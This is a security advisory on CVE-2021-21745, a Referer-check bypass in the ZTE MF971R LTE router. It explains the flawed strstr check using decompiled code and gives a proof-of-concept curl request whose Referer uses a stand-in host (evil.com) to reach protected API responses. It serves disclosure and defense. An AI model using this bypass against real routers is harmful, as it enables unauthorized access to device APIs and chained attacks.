CVE-2021-21745
An exploitable Referer mitigation bypass vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can bypass Referer-based mitigation. An attacker needs to provide a URL to the victim to trigger the vulnerability.
ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb
https://www.ztedevices.com/pl/product/zte-mf971r/
4.7 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
CWE-293 - Using Referer Field for Authentication
MF971R is a portable router with Wi-Fi support and LTE/GSM modem.
This vulnerability is present in one of the functions responsible for restricting API communication related code, which is a part of the ZTE MF971R web applications. A specially-crafted URL sent by an attacker and visited by a victim can lead to Referer mitigation bypass, which allows the attacker further access to full API communication.
As an example, let’s take a look at a call to an API which returns the number of remaining login attemtps:
Request:
curl -i "http://192.168.2.1/goform/goform_get_cmd_process?cmd=network_type"
Response:
HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
{"psw_fail_num_str":""}
As we can see, the response is empty. Why does that happen? If we look at the implementation, there is a mitigation based on the Referer header.
Line 1 int __fastcall handler_goform_get_cmd_process(websRec *web, int a2, int a3)
Line 2 {
Line 3 (...)
Line 4
Line 5 if ( (!strcmp("ok", loggedin_flag) || cmd_exists == 1) && !referer_check_or_common_cmd(web, cmd) )
Line 6 {
The above code represents part of the goform_get_cmd_process
API endpoint implementation. As we can see there, the if
statment will be true if “user is logged in” or “cmd exists in predefined list” AND among the other Referers, header is set to a proper value.
Let’s take a look at the implementation of the referer_check_or_common_cmd
function.
Line 1 int __fastcall referer_check_or_common_cmd(websRec *web, const char *cmd)
Line 2 {
Line 3 int result; // r0
Line 4 int v5; // r4
Line 5
Line 6 if ( referer_check(web) || (sub_1B8E0(web) & 0x200000) != 0 )
Line 7 return 0;
Line 8 v5 = 0;
Line 9 while ( 1 )
Line 10 {
Line 11 result = strcmp(off_5D09C[v5++], cmd); // imei, wa_inner_version, integrate_version
Line 12 if ( !result )
Line 13 break;
Line 14 if ( v5 == 3 )
Line 15 return 1;
Line 16 }
Line 17 return result;
Line 18 }
Next, let’s take a look at the referer_check
function called at line 6
:
Line 1 int __fastcall referer_check(websRec *web)
Line 2 {
Line 3 int referer; // r0
Line 4 int v3; // r7
Line 5 const char *v4; // r5
Line 6 char s[88]; // [sp+10h] [bp-58h] BYREF
Line 7
Line 8 memset(s, 0, 0x40u);
Line 9 referer = *(_DWORD *)&web->mime_type[24]; // Referer header
Line 10 if ( (*(_DWORD *)&web->mime_type[38] & 0x8000) != 0 )
Line 11 v3 = 8;
Line 12 else
Line 13 v3 = 7;
Line 14 if ( referer )
Line 15 {
Line 16 if ( strstr((const char *)referer, "127.0.0.1") )
Line 17 {
Line 18 zte_syslog_append(6, 377417, 0xDF0, 0, "Referer is 127.0.0.1");
Line 19 }
Line 20 else
Line 21 {
Line 22 snprintf(s, 0x40u, "%s/", *(const char **)&web->mime_type[6]);
Line 23 v4 = *(const char **)&web->mime_type[24];
Line 24 if ( strstr(v4, s) != &v4[v3] )
Line 25 {
Line 26 zte_syslog_append(
Line 27 6,
Line 28 377417,
Line 29 3579,
Line 30 0,
Line 31 "is_Refer_right referer = [%s], host=[%s]",
Line 32 v4,
Line 33 *(const char **)&web->mime_type[6]);
Line 34 return 0;
Line 35 }
Line 36 }
Line 37 referer = 1;
Line 38 }
Line 39 return referer;
Line 40 }
As we can see, the value of Referer header
is obtained at line 9
. Instead of “strict checking” (strcmp, proper regex ,etc), the strstr
function is used to check whether the Referer value contains the string “127.0.0.1” at line 16
.
That implementation is easy to bypass by an attacker. Attackers just needs to put the string “127.0.0.1” in any part of a URL, then redirect/trigger auto form to the proper API they want to call.
The vulnerability that allows the bypass of this mitigation can be used to exploit the vulnerabilities described in TALOS-2021-1318, TALOS-2021-1320 and TALOS-2021-1321.
curl -i --referer http://evil.com/127.0.0.1.html "http://192.168.2.1/goform/goform_get_cmd_process?cmd=psw_fail_num_str"
HTTP/1.1 200 OK
Server: WebServer-Webs
Pragma: no-cache
Cache-Control: no-store
Content-Type: text/html
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
{"psw_fail_num_str":"5"}
2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.